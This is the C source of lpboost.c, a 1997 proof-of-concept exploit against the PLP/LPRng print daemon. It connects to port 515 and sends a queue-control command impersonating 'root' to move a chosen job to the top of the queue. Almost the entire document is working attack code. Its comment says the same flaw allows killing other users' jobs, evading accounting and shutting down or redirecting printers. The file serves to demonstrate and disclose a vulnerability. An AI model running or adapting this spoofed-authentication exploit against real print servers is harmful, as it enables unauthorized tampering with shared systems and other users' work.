home *** CD-ROM | disk | FTP | other *** search
- /*
- * lpboost.c
- *
- * Simple exploit to demonstrate problem with PLP/LPRng user
- * `authentication': boost your print job's priority by moving it
- * to the top of the queue.
- *
- * This is the most harmless exploit of this problem. More serious
- * ones include circumvention of the accounting system, killing
- * other users' jobs, shutting down printers, redirecting them,
- * etc.
- *
- * Copyright (C) 1997, Olaf Kirch <okir@lst.de>
- */
- #include <sys/types.h>
- #include <sys/socket.h>
- #include <netinet/in.h>
- #include <arpa/inet.h>
- #include <netdb.h>
- #include <string.h>
- #include <stdio.h>
- #include <unistd.h>
- #include <errno.h>
-
- static int doconnect(char *hostname);
- static void dosend(int fd, unsigned char ch, char *string);
-
- int
- main(int argc, char **argv)
- {
- char buffer[8192];
- char hostbuf[256], *hostname = hostbuf;
- int fd;
-
- if (argc == 4) {
- hostname = argv[3];
- } else if (argc != 3) {
- fprintf(stderr, "usage: lpboost <printer> <job> [hostname]\n");
- exit(1);
- } else {
- /* If lpd.perms allows queue manipulation only from
- * the local host (SERVER keyword), must use FQDN
- * rather than localhost (127.0.0.1) */
- gethostname(hostbuf, sizeof(hostbuf));
- }
-
- if ((fd = doconnect(hostname)) < 0) {
- fprintf(stderr, "Failed to connect to %s: %s\n",
- hostname, strerror(errno));
- exit(1);
- }
-
- /* Assemble control message */
- sprintf(buffer, "%s %s topq %s %s",
- argv[1], /* printer */
- "root", /* user */
- argv[1], /* printer */
- argv[2]); /* job # */
-
- /* Transmit control message and pick up status */
- dosend(fd, 6, buffer);
-
- exit (0);
- }
-
- static int
- doconnect(char *hostname)
- {
- struct hostent *hp;
- struct sockaddr_in sin;
- int fd;
-
- if (!(hp = gethostbyname(hostname))) {
- fprintf(stderr, "%s: unknown host\n", hostname);
- exit(1);
- }
-
- memset(&sin, 0, sizeof(sin));
- sin.sin_family = AF_INET;
- sin.sin_addr = *(struct in_addr *) hp->h_addr;
- sin.sin_port = htons(515);
-
- if ((fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) {
- perror("socket");
- exit(1);
- }
- if (connect(fd, (struct sockaddr *) &sin, sizeof(sin)) < 0) {
- perror("connect");
- exit(1);
- }
-
- return fd;
- }
-
- static void
- dosend(int fd, unsigned char ch, char *string)
- {
- char buffer[256], cr = '\n';
- int slen = string? strlen(string) : 0;
-
- if (write(fd, &ch, 1) != 1 ||
- (string && (write(fd, string, slen) != slen
- || write(fd, &cr, 1) != 1))) {
- perror("write");
- exit(1);
- }
-
- while ((slen = read(fd, buffer, sizeof(buffer)-1)) > 0) {
- buffer[slen] = '\0';
- fprintf(stderr, "lpd: %s\n", buffer);
- }
- if (slen == 0 || errno == EPIPE)
- return;
- perror("read (errmsg)");
- exit(1);
- }
-
-
-